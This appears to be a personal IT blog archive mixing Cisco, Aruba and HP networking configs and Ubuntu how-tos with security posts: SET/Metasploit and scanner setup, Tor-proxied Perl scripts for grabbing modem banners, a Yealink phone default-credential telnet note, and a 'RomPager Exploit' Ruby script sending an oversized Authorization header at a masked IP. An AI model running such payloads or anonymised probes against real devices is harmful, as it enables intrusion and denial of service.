Monday, September 20, 2021

Malaysia Telco Tower ( Will be updated time after time ) 


1BestariNet Receiver Integrated System -1BRIS ( YES Tower )


Digi Tower








 

Friday, May 28, 2021

Converting Aruba IAP ( IAP )to Campus AP ( CAP )

 1. You need to console the AP

2. Hit <Enter> to stop autoboot:  2

3. Purgeenv ( to remove config and make a default config )

4. factory_reset ( to reset all config and setting )

5. reset  ( reboot AP )

6. Wait until AP rebooted and User and Password appear

7. User : admin Password : AP Serial Number

8. If ask you change password please change to your desirable password

9. Type #convert-aos-ap CAP <Controller IP>

10.Converting to Controller based AP. Will automatically reboot when done

11.Make sure the AP got an IP from the Controller ( After reboot inside CLI )

12.Check AP inside controller once 2 LED is static.

#EOF

p/s : Tested on IAP 325 Model.


Thursday, October 22, 2020

This is how I stacking my 2 switches with IRF using 1 DAC cable

This is how I stacking my 2 switches with IRF using 1 cable


 


How to configure it?
====================
Switch 1
--------
#
irf member 1 priority 32
#
int  Ten-GigabitEthernet 1/0/27
shutdown
#
irf-port 1/1
port group interface Ten-GigabitEthernet 1/0/27
#
int  Ten-GigabitEthernet 1/0/27
undo shutdown
#
irf-port-configuration active
#
quit
#
save
#

==============

Switch 2
---------
#
irf member 1 renumber 2
#
Save
#
Reboot

*Switch UP 
#
irf member 2 priority 1
#
#
int  Ten-GigabitEthernet 2/0/28
shutdown
#
irf-port 1/1
port group interface Ten-GigabitEthernet 2/0/28
#
int  Ten-GigabitEthernet 2/0/28
undo shutdown
#
irf-port-configuration active
#
quit
#
save
#

* Switch rebooted by itself and will follow configuration from Main Switch 1


Result/Output from 2 Switches
=============================
#display  irf link
Member 1
 IRF Port  Interface                             Status
 1         Ten-GigabitEthernet1/0/27             UP  
 2         disable                               --
Member 2
 IRF Port  Interface                             Status
 1         disable                               --
 2         Ten-GigabitEthernet2/0/28             UP


-=EOT=-

Thursday, September 3, 2020

Configure Aruba AP-303H ( RW ) Unified AP

Requirement :- 1.AP-CBL-SERU,JY728A Serial Cable ( Driver at this link https://support.arubanetworks.com/ToolsResources/tabid/76/DMXModule/514/EntryId/4229/Default.aspx )
2.Putty ( Download at https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html ) How to configure ? First step :- Connect console cable and also Connected to POE injector
Second :- Open Putty and follow this command as shown in the picture.This to empty / reset the configuration to factory default
Third :- Configure like below command
Hope this will help you..


-=EOT=-

Saturday, July 27, 2019

How To install PL2303 Serial USB on OSX

Its been a long time never updating this blog.As for starter for this 2019 blogging.I show you how to install a PL2303 Serial Cable on Mac. 

Installing the kext file can be done in a few easy steps:

download and extract
$ cd /path/to/osx-pl2303.kext
$ sudo cp -R osx-pl2303.kext /System/Library/Extensions/ 

next you need to fix permissions and execute bits:
$ cd /System/Library/Extensions 
$ sudo chmod -R 755 osx-pl2303.kext 
$ sudo chown -R root:wheel osx-pl2303.kext load the module and update kernel boot caches 
$ cd /System/Library/Extensions 
$ sudo kextload ./osx-pl2303.kext 
$ sudo kextcache -system-cache 

For deinstallation, perform these steps: 
$ sudo rm -rf /System/Library/Extensions/osx-pl2303.kext 
$ sudo kextcache -system-cache Driver Link: http://www.xbsd.nl/pub/osx-pl2303.kext.tgz 

Wednesday, July 15, 2015

How to connect YES 4G in Linux

1) Go to https://www.yes.my/v3/support/download.do#go

2) Select on which OS version e.g Connect for Linux (Ubuntu 12 & 14) 32 bit / 64 bit

 3) Download it

4) Once downloaded,find the downloaded file and right click the filename Connect_Installer_32 and select Open with Ubuntu Software Center.

5) Click Install

6) And you got your 4G Yes dialer.

p/s : It will ask your root password(Administrator password).

And you done.


--EOT-- 


Tuesday, April 21, 2015

Unable to Install LibreOffice.How to Solve it.

Error on Dependencies:

The following packages have unmet dependencies:
 libreoffice : Depends: libreoffice-core (= 1:3.5.7-0ubuntu7) but it is not going to be installed
               Depends: libreoffice-writer but it is not going to be installed
               Depends: libreoffice-calc but it is not going to be installed
               Depends: libreoffice-impress but it is not going to be installed
               Depends: libreoffice-draw but it is not going to be installed
               Depends: libreoffice-math but it is not going to be installed
               Depends: libreoffice-base but it is not going to be installed
               Depends: libreoffice-filter-mobiledev but it is not going to be installed
               Depends: libreoffice-java-common (>= 1:3.5.7~) but it is not going to be installed
               Recommends: libreoffice-gnome but it is not going to be installed or
                           libreoffice-kde but it is not going to be installed
E: Unable to correct problems, you have held broken packages.


Step to solve this issue :-

1) Download Armel Binary

2) sudo add-apt-repository ppa:libreoffice/ppa  and click ENTER

3) sudo apt-get update

4) sudo apt-get update && sudo apt-get install libreoffice

5) Select  ' Y '

--=EOT=--

Thursday, July 17, 2014

How to Install w3af inside Ubuntu 12.04

I preferred w3af_console and below is the step taken:-  
 
#git clone --depth 1 https://github.com/andresriancho/w3af.git
 
#cd w3af 
 
#./w3af_console
 
--#--An error will occur as needed to install some dependencies--#--- 
 
( " The framework has two different sets of dependencies, one for the GUI 
and one for the Console, in case you don’t want to use the GUI, just run
 w3af_console and install those dependencies. " )
 
$sudo apt-get install libyaml-dev python2.7-dev
 
$cd /tmp/

$./w3af_dependency_install.sh


You now can start to use w3af.


#EOT

Friday, July 4, 2014

How to install Wapiti (The web-application vulnerability scanner)

 Requirements

wapiti-2.3.0.tar.gz
python-setuptools

Download

$ wget http://wapiti.sourceforge.net/



Extract

$ tar -zxvf wapiti-2.3.0.tar.gz -C /opt/

**Depends on which folder you prefer

Installation

/opt/wapiti-2.3.0# python setup.py install


Error in Installation

Traceback (most recent call last):
  File "setup.py", line 2, in
    from setuptools import setup, find_packages
ImportError: No module named setuptools




**Please install python-setuptools to correct this error.



      $ sudo apt-get install python-setuptools





#EOT




Tuesday, April 8, 2014

How to Install New Nmap 6.40 for Ubuntu 12.04

Damn ...After a long night, now I can installed my new Nmap v6.40 on my Ubuntu 12.04.(Error causing by Ncat)

Below is the way to install it.


wget http://nmap.org/dist/nmap-6.40.tar.bz2
tar -jxvf nmap-6.40.tar.bz2
cd nmap-6.40
./configure
make "LUA_LIBS=../liblua/liblua.a -ldl -lm"
make install




Wednesday, March 19, 2014

How to recover files in Ubuntu 12.04 LTS

It came across to me when I tried to recovered some of my files last night.I googling and I found such simple way of recovering files.Maybe some of you got other ways and you also can share it with me here too.

The software called photorec aka testdisk.

1)Just install via

#apt-get install testdisk

2)To run the app

#photorec /d restore


3)Select the partition and filesystem.

For Selection of filename, choose  "File Opt" in the Menu section and tick ( X )

Then click " Enter " - it will return to the Main Menu

Then please select " Search " and press Enter

and the process of recovering will be done...

--EOT--



Saturday, March 15, 2014

#MH 370

 MH 370 WE NEVER LOOSE HOPE.

WE 
KEEP PRAYING 4 YOU..! 


PLEASE COME BACK..!!!

Thursday, September 5, 2013

GNOME Sound Conversion. - SoungConverter. Easy to use.


Click the link below to  Review and Download.


SoundConverter

Also can download via Ubuntu Software Center and Apt-get.

Happy trying..

Thursday, August 29, 2013

Tuesday, July 23, 2013

Cisco PIX : How to allow HQ via ISP Network going thru your LAN (branch) network.

The HQ is connected to the PIX site through the ISPs network. The HQ network should be 10.22.x.x/yy. On the basis of your above PIX configuration this should be located behind the "outside" interface of the PIX.
For your HQ coming from subnet 10.22.x.x/yy to subnet 10.45.x.0/19 you would have to configure NAT0 between these networks.

Essentially the configuration would look something like this

access-list INSIDE-NAT0 remark NAT0/NONAT for Branch to HQ traffic
access-list INSIDE-NAT0 permit ip 10.45.x.0 255.255.224.0 10.22.x.x y.y.y.y

nat (inside) 0 access-list INSIDE-NAT0

This should essentially enable hosts from 10.22.x.x/yy subnet to connect directly to subnet 10.45.x.0/19 on their original IP addresses.


* If the other Branch network needs the same type of rule then you would simply add another line to the ACL/access-list we created BUT you would use the other Branch network as the source.

access-list INSIDE-NAT0 permit ip 10.36.0.0 255.255.0.0 10.22.x.x y.y.y.y

 I got this solution from Cisco Support Community

Monday, July 1, 2013

Saturday, June 8, 2013

Pidgin Log Files on Linux

The location is as below.

/home/systemUserName/.purple/logs/yahoo/myYahooId/*


If you have others it will listed after /logs/

Wednesday, June 5, 2013

Install Adobe Reader in Ubuntu 12.04

Download file *.deb as below Picture



Locate the file inside terminal and install via dpkg

$ sudo dpkg -i AdbeRdr9*

After install go to the Dash and launch Adobe Reader

Monday, June 3, 2013

MP3 Cutter for Ubuntu

Im not good in music / ringtone.Just found this simple cutter at google.

Credit:- mp3splt


Usage:-

1. apt-get install mp3splt-gtk

2. Install GStreamer extra plugins via ( Ubuntu Software Center )

3.Right click at your *.mp3 file then Click mp3splt

4.Click Play button and click +Add and click +Add again depends on which you want to cut.

5.Click Split on top of the program and you might find your file at /home/

===EOF===

Thursday, May 23, 2013

rpf-check result drop in Pix 525 ( Solution )

Problem:
======
Info: I got a problem where I cant ping from a router to inside network.Suspect Nat Problem based on googling.

Log inside PIX

May 23 2013 07:07:21: %PIX-3-305005: No translation group found for tcp src Outside:10.35.24.121/3195 dst inside:10.35.189.172/445

 Step:
======

Using Packetracer command in PIX 525 as command below.

packet-tracer input Outside tcp 10.35.24.121 3195 10.35.189.172 445 detailed



Result from Packetracer:
===============

Phase: 6
Type: NAT
Subtype: rpf-check
Result: DROP
Config:
nat (inside) 1 access-list net
nat-control
  match ip inside 10.35.16.0 255.255.224.0 Outside any
    dynamic translation to pool 1 (10.40.9.2 [Interface PAT])
    translate_hits = 3185, untranslate_hits = 0
Additional Information:
 Forward Flow based lookup yields rule:
 out id=0x4dc4d38, priority=2, domain=nat-reverse, deny=false
    hits=1782778, user_data=0x4d2e470, cs_id=0x0, flags=0x0, protocol=0
    src ip=0.0.0.0, mask=0.0.0.0, port=0
    dst ip=10.35.16.0, mask=255.255.224.0, port=0

Solution :
======

PIX#access-list inside_nat0_outbound extended permit ip 10.35.16.0 255.255.224.0 10.40.9.0 255.255.255.0

PIX#nat(inside) 0 access-list inside_nat0_outbound


==EOF==

*p/s: Problem might be different then real situation.I also just try and error based on below reference.


Credit : experts-exchange.com(User Config)

CiscoWorks Tomcat Servlet Engine service does not start , Windows Version

Problem :-

My Tomcat Servlet Engine Services unable to Start due to my previous regdaemon.xml  was empty and i dont why.

Solution:-

What I do, is I look for a filename  " regdaemon "

As for me it located at C:\Program Files\CSCOpx\MDC\etc

I copy paste the old script of regdaemon.xml.bak and put inside regdaemon.xml and save.

After that I try to restart the CiscoWorks Tomcat Servlet Engine services and it works..!

Reference : - CiscoWorks Tomcat Servlet Engine service does not start

How to Clear CiscoWorks Syslog

Core issue

CiscoWorks might not run if the size of the Syslog.log or syslog_info file is huge.

Resolution

To resolve this issue, perform these steps:

  • For Windows:
    1. Open a command prompt.
    2. Issue the net stop crmdmgtd command.
    3. Go to Settings > Control Panel > Administrative Tools > Services and stop the CWCS syslog service.
    4. Delete the syslog.log file found under $NMSROOT\log\ directory, where $NMSROOT is the CiscoWorks installation directory. By default it is C:\Program Files\CSCOpx\log.
    5. Restart the CWCS syslog service.
    6. In the command prompt, issue the net start crmdmgtd command.

Friday, May 17, 2013

Update Flash In Ubuntu Precise Pangolin ( 12.04.2 LTS ) For Mozilla Firefox

Installing using the plugin tar.gz:

 - Unpack the plugin tar.gz and copy the files to the appropriate location. 

 - Save the plugin tar.gz locally and note the location the file was saved to

 - Launch terminal and change directories to the location the file was saved to.

 - Unpack the tar.gz file.  Once unpacked you will see the following:
        + libflashplayer.so
        + /usr

 - Identify the location of the browser plugins directory, based on your Linux  distribution and Firefox version ( For Me as below )

 - Copy libflashplayer.so to the appropriate browser plugins directory.  At the prompt type:
        + cp libflashplayer.so /usr/lib/mozilla/plugins

  - Copy the Flash Player Local Settings configurations files to the /usr directory.

At the prompt type:
        + sudo cp -r usr/* /usr


*p/s :- make sure you close your browse before updating.Just on a safe side :)

-EOF-

Wednesday, May 8, 2013

Updating Ubuntu (11.10) Package via Proxy

Problem :  apt-get , Update Manager not able to download packages behind college/comapny proxy server.

Note : Sometimes there may be connection failure because of busy servers. So Please be patient during new Ubuntu release

Solution :
 
1) Open the Terminal and type the following command
     sudo gedit /etc/apt/apt.conf.d/02proxy

Note : 01proxy file is not present earlier.

2) Type the following line(in red) in the file:
     Acquire::http::Proxy “http://yourusername:yourpassword@yourproxy:yourport″;
    

Acquire::http::Proxy "http://foss:3189";
   


3) Save the file and your problem is solved.



Credit: naveenubuntu

Thursday, April 18, 2013

Lagu Reformasi / Reformasi Song By Yassin

 You may user the Control Code to paste where ever you like :)




Click Here To Download Reformasi Song

REFORMASI.mp3

[URL=http://www.uploadmb.com/dw.php?id=1366259149]REFORMASI.mp3[/URL]

Credit:-

Thanx  Bro Yassin Sulaiman for this great song.

Monday, April 1, 2013

How To Copy Flash in Cisco Aironet/Switch

Problem:-

Cisco#sh flash:

Directory of flash:/

    2  -rwx        1696  Feb 28 1993 19:02:24 -05:00  vlan.dat
    3  -rwx        1048   Mar 1 1993 22:12:10 -05:00  multiple-fs
    5  drwx         192  Feb 28 1993 19:06:54 -05:00 c2960-lanbase-mz.122-25.SEE2  620  -rwx        2519   Mar 1 1993 22:12:10 -05:00  config.text
  621  -rwx          27   Mar 1 1993 22:12:10 -05:00  private-config.text


cisco#copy flash:/c2960-lanbase-mz.122-25.SEE2.bin tftp:10.5.87.200
Address or name of remote host []? 192.168.100.8
Destination filename [192.168.100.8]? c2960-lanbase-mz.122-25.SEE2.bin
%Error opening flash:/c2960-lanbase-mz.122-25.SEE2.bin (No such file or directory)



Solution :-

As you can see in the flash below c2960-lanbase-mz.122-25.SEE2 is a directory.

   5  drwx         192  Feb 28 1993 19:06:54 -05:00 c2960-lanbase-mz.122-25.SEE2

In order to copy image to the tftp issue the follwoing command:

>> dir flash/c2960-lanbase-mz.122-25.SEE2:   ------> in order to go under the doirectory first

After you issue the follwoing command use that path name in order to copu the image to tftp for ex:

copy flash/c2960-lanbase-mz.122-25.SEE2/c2960-lanbase-mz.122-25.SEE2.bin tftp:


Credit: - Cisco SupportForums

Tuesday, March 19, 2013

PJAppSrv ( Act as a Webserver)

 I got this from my friends.Its seem a good tool and easy to install.Its act like a webserver and a good source for testing a remote connection  to access a demo webserver.
 

Info

PJAppSrv is one of the development environments WAMP (WAMP means PHP, Apache, and MySQL can run on Windows platform) easier to use.

This software is configured to be used during the development process, for use in production should check carefully and adjust the configuration of the server. One of the main goals of this software is to speed up the development and release of PHP projects, thanks to the fact that developers work on the same server and release of language and install the environment in minutes.

Another opportunity is to quickly install their applications on laptops for demo projects.

This software was developed by 2003, and with version 2.2 from 2005 is reviewed on major global sites of distribution of programs:
 

Click Here to Download

Sunday, February 24, 2013

IPRIP unable to create socket for address (Solution)

Click Start , and then click Run
In the Open box type CMD
In CMD type NET USE

Damn..I hate windows..but need to use at 1st for the time being.. :P

Friday, January 4, 2013

SET Dont use SVN Anymore and move to GITHUB

Below is the step taken :-

==== STEP 1====

[-] New set_config.py file generated on: 2013-01-04 10:54:25.898164
[-] Verifying configuration update...
[*] Update verified, config timestamp is: 2013-01-04 10:54:25.898164
[*] SET is using the new config, no need to restart


[!] The Social-Engineer Toolkit has officially moved to github and no longer uses SVN.
[!] Ensure that you have GIT installed and this conversion tool will automatically pull the latest git version for you.
[!] Do you want to do a manual install or have SET do the conversion to GIT for you?

1. Automatic
2. Manual
3. Continue using SET (NO UPDATES ANYMORE!)

Enter your numeric choice: 1
[*] BEFORE YOU START! Ensure you have GIT installed (apt-get install git)
Have you installed GIT? y/n: y
[*] Great! Here we go... Removing old svn repository and moving to new
[*] SET directory has been removed. Now checking out SET from GIT..
[*] This could take a few moments..
Cloning into /opt/set...
remote: Counting objects: 403, done.
remote: Compressing objects: 100% (323/323), done.
remote: Total 403 (delta 81), reused 392 (delta 70)
Receiving objects: 100% (403/403), 35.81 MiB | 1.45 MiB/s, done.
Resolving deltas: 100% (81/81), done.
[*] You should now have the latest from git. To update, run set-update or type git pull
[*] Exit SET and restart. Move out of the current directory and go into the set directory.
[*] You should never have to go through this process again!

====How to Update====

(You may choose either ./set-update or git pull as advise above.)

root@LM:/opt/set# ./set-update
[-] Updating the Social-Engineer Toolkit, be patient...
Already up-to-date.

[*] The updating has finished, returning to main menu..
root@LM:/opt/set# git pull
Already up-to-date.

==== STEP 2====

#If you came across this error message :

root@LM:/opt/set# ./set
[!] Metasploit path not found. These payloads will be disabled.
[!] Please configure in the config/set_config.

 Just     Press to continue


#Then it will pop-up Terms of service

Do you agree to the terms of service [y/n]: y

#It will go to the SET Menu and choose "99" to exit SET

set>99

#Edit config/set_config ( Use nano or vim are up to you )

root@LM:/opt/set# nano config/set_config

#In config/set_config Editor.Please edit base on your Metasploit directory:-

### Define the path to MetaSploit, for example: /pentest/exploits/framework3
METASPLOIT_PATH=/opt/metasploit-4.4.0/msf3/



#Save and Exit the Editor.Kindly update your Metasploit by choosing no 4 in SET Menu.

4) Update the Metasploit Framework

    set> 4

#Once update you may run SET as normal

====EOF===





Monday, December 24, 2012

YeaLink IP Phone SIP CSRF / Default Credentials

:~# telnet 10.10.1.136
Trying 10.10.1.136...
telnet: Unable to connect to remote host: Connection refused
:~#



CSRF Code


:~# telnet 10.10.1.136
Trying 10.10.1.136...
Connected to 10.10.1.136.
Escape character is '^]'.
IPPHONE login:
Password:


BusyBox v1.6.1 (2010-10-08 16:43:22 CST) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

$

Saturday, December 8, 2012

Skype Webcam Fail on Ubuntu (Solution)

Just for my record only.

Need to install both :-

libv4l-0 - Collection of video4linux support libraries
libv4l-dev - Collection of video4linux support libraries (development files)

#apt-get install libv4l-0
#apt-get install libv4l-dev

===EOF===

Tuesday, December 4, 2012

RomPager Exploit.

# ./get.pl -n 17x.x.x.x
[+] GET Http By Pretorians
[!] Target: 17x.x.x.x
Connecting to 17x.x.x.x
HTTP/1.1 404 Not Found
Content-Type: text/html
Server: RomPager/4.07 UPnP/1.0

#ruby rugbi.rb

End Result
===========
./get.pl -n 17x.x.x.x
[+] GET Http By Pretorians
[!] Target: 17x.x.x.x
|!| Can not connect...

===EOF===

Code
--------

require 'net/https'

url = URI.parse("http://17x.x.x.x/")
data = nil
headers = {
  "Host" => "IP",
  "Authorization" => "Basic
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$
}
res = Net::HTTP.start(url.host, url.port) do |http|
  http.use_ssl = false
  http.send_request("GET", url.path, data, headers)
end

puts res.body

Wednesday, November 28, 2012

GET HTTP(Proxy / IO:Socket / HTML::LinkExtor)

Latest update was HTML::LinkExtor as below.

#!/usr/bin/perl
############################################
#           [+]  Get HTTP
#       Created
#              BY
#                Pretorians
#
###########################################
use LWP::Simple;
use Time::localtime;
use LWP::UserAgent;
use  IO::Socket;
use HTML::LinkExtor;
##
print "[+] GET Http By Pretorians \n";
##
##
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-p") {
print "[!] Target: $t\n";
my $ua = LWP::UserAgent->new;
     $ua->agent('Mozilla/5.0 ');
       $ua->proxy([(http )] => 'socks://127.0.0.1:9050');
        $ua->cookie_jar({});
      my $r = $ua->get("http://$t/") or die ("Unable to get page!");
print $r->content;
}}
##
##
if ($type eq "-n") {
print "[!] Target: $t\n";
my $r = ("http://$t/");
my $socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $t,
PeerPort => 80) || die "|!| Can not connect...\n";
print "Connecting to $t\n";
print $socket "GET $t HTTP/1.0\n\n";
$socket->recv(my $data, 1024);
print "$data \n";
close ($socket);
}
##
##
if ($type eq "-e") {
print "[!] Target: $t\n";
my $r = get("http://$t/");
$LinkExtor = HTML::LinkExtor->new(\&links);
$LinkExtor->parse($r);
sub links
  {
    ($tag, %links) = @_;
      if ($tag eq "a") {
        foreach $key (keys %links) {
          if ($key eq "href") {
    print "$links{$key}\n";
      }
     }
    }
   }
  }
##
##
sub usg(){
print "[!] usg: perl get.pl [-p : -n : -e ] \n";
print "[!]  -p: With Proxy\n";
print "[!]  -n: Without Proxy\n";
print "[!]  -e: Link Extractor\n";
}
exit ;



p/s: Now I already have 3 options:

1: With Proxy
2: Without Proxy using IO:Socket
3: A Link Extractor

  That why i call my blog My Library where I dump and retrieve info backs for further viewing.At the same time I share it with you guys out there :D

Monday, November 26, 2012

GET HTTP (Proxy or using IO::Socket)

#!/usr/bin/perl
############################################
#           [+]  Get HTTP
#       Created
#              BY
#                Pretorians
#
###########################################
use LWP::Simple;
use Time::localtime;
use LWP::UserAgent;
use  IO::Socket;
##
print "[+] GET Http \n";
##
##
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-p") {
print "[!] Target: $t\n";
my $ua = LWP::UserAgent->new;
     $ua->agent('Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:16.0) Gecko/20100101 Firefox/16.0');
       $ua->proxy([(http )] => 'socks://127.0.0.1:9050');
        $ua->cookie_jar({});
      my $r = $ua->get("http://$t/") or die ("Unable to get page!");
print $r->content;
}}
##
##
if ($type eq "-n") {
print "[!] Target: $t\n";
my $r = ("http://$t/");
my $socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $t,
PeerPort => 80) || die "|!| Can not connect...\n";
print "connecting to $t\n";
print $socket "GET $t HTTP/1.0\n\n";
$socket->recv(my $data, 1024);
print "$data \n";
close ($socket);
}
##
sub usg(){
print "[!] usg: perl get.pl [-p or -n] \n";
print "[!]  -p: With Proxy\n";
print "[!]  -n: Without Proxy\n";
}
exit ;





I just dump the code in here only.Still the same nothing change..just slot it to make it as an option either choose Get HTTP with proxy or Get HTTP without Proxy.

My main target is only about the HTTP request / date / server name content-type and also a menu to choose either -p or - n :D.Basically for modem.


Friday, November 23, 2012

GET HTTP with Simplified Option(proxy / non-proxy)

#!/usr/bin/perl
############################################
#           [+]  Get HTTP
#       Created
#              BY
#                Pretorians
#
###########################################
use LWP::Simple;
use Time::localtime;
use LWP::UserAgent;
##
print "[+] GET Http Modem\n";
##
sub timestamp {
  my $c = localtime;
  return sprintf( "%04d-%02d-%02d_%02d-%02d-%02d",
                  $c->year + 1900, $c->mon + 1, $c->mday,
                  $c->hour, $c->min, $c->sec );
}
print '[+] Date: [' . timestamp() . ']'. "\n";
##
##
if (@ARGV == 0) {&usg;}
while (@ARGV > 0) {
$type = shift(@ARGV);
$t = shift(@ARGV);
if ($type eq "-p") {
print "[!] Target: $t\n";
my $ua = LWP::UserAgent->new;
     $ua->agent('Mozilla/5.0 ');
       $ua->proxy([(http )] => 'socks://127.0.0.1:9050');
        $ua->cookie_jar({});
      my $r = $ua->get("http://$t/") or die ("Unable to get page!");
print $r->content;
}}
if ($type eq "-n") {
print "[!] Target: $t\n";
my $r = getprint("http://$t/") or die ("Unable to get page!");
}
##
sub usg(){
print "[!] usg: perl get.pl [-p or -n] \n";
print "[!]  -p: With Proxy\n";
print "[!]  -n: Without Proxy\n";
}
exit ;

Thursday, November 8, 2012

GET HTTP ( LWP with TOR )

#!/usr/bin/perl

use LWP::Simple;
use Time::localtime;
use LWP::UserAgent;
##
print "[+] GET Http Modem\n";
##
sub timestamp {
  my $c = localtime;
  return sprintf( "%04d-%02d-%02d_%02d-%02d-%02d",
                  $c->year + 1900, $c->mon + 1, $c->mday,
                  $c->hour, $c->min, $c->sec );
}

print '[+] Date: [' . timestamp() . ']'. "\n";

##
##

if (@ARGV == 0) {&usg;}
$t = shift(@ARGV);
{
print "[!] Target: $t\n";
}
##
##
##
my $ua = LWP::UserAgent->new;
     $ua->agent('Mozilla/5.0');
       $ua->proxy([(http )] => 'socks://127.0.0.1:9050');
        $ua->cookie_jar({});
      my $r = $ua->get("http://$t/") or die ("Unable to get page!");
print $r->content;
##
sub usg(){
print "[!] usg: perl get.pl  \n";
}
exit ;



p/s : Make sure you install the module of LWP::Protocol::socks to make the tor proxy working.
      
      #cpan install LWP::Protocol::socks

By the way this was simplified just for my own used.Everyone have their own view and style. Please google for more info.

Wednesday, November 7, 2012

GET HTTP (LWP:Simple/Time:LocalTime)

#!/usr/bin/perl

use LWP::Simple;
use Time::localtime;
print "[+] GET Http Modem\n";
##
sub timestamp {
  my $c = localtime;
  return sprintf( "%04d-%02d-%02d_%02d-%02d-%02d",
                  $c->year + 1900, $c->mon + 1, $c->mday,
                  $c->hour, $c->min, $c->sec );
}

print '[+] Date: [' . timestamp() . ']'. "\n";
##
##
if (@ARGV == 0) {&usg;}
$t = shift(@ARGV);
{
print "[!] Target: $t\n";
my $r = getprint("http://$t/") or die ("Unable to get page!");
##
##
}
sub usg(){
print "[!] usg: perl get.pl  \n";
}
exit ;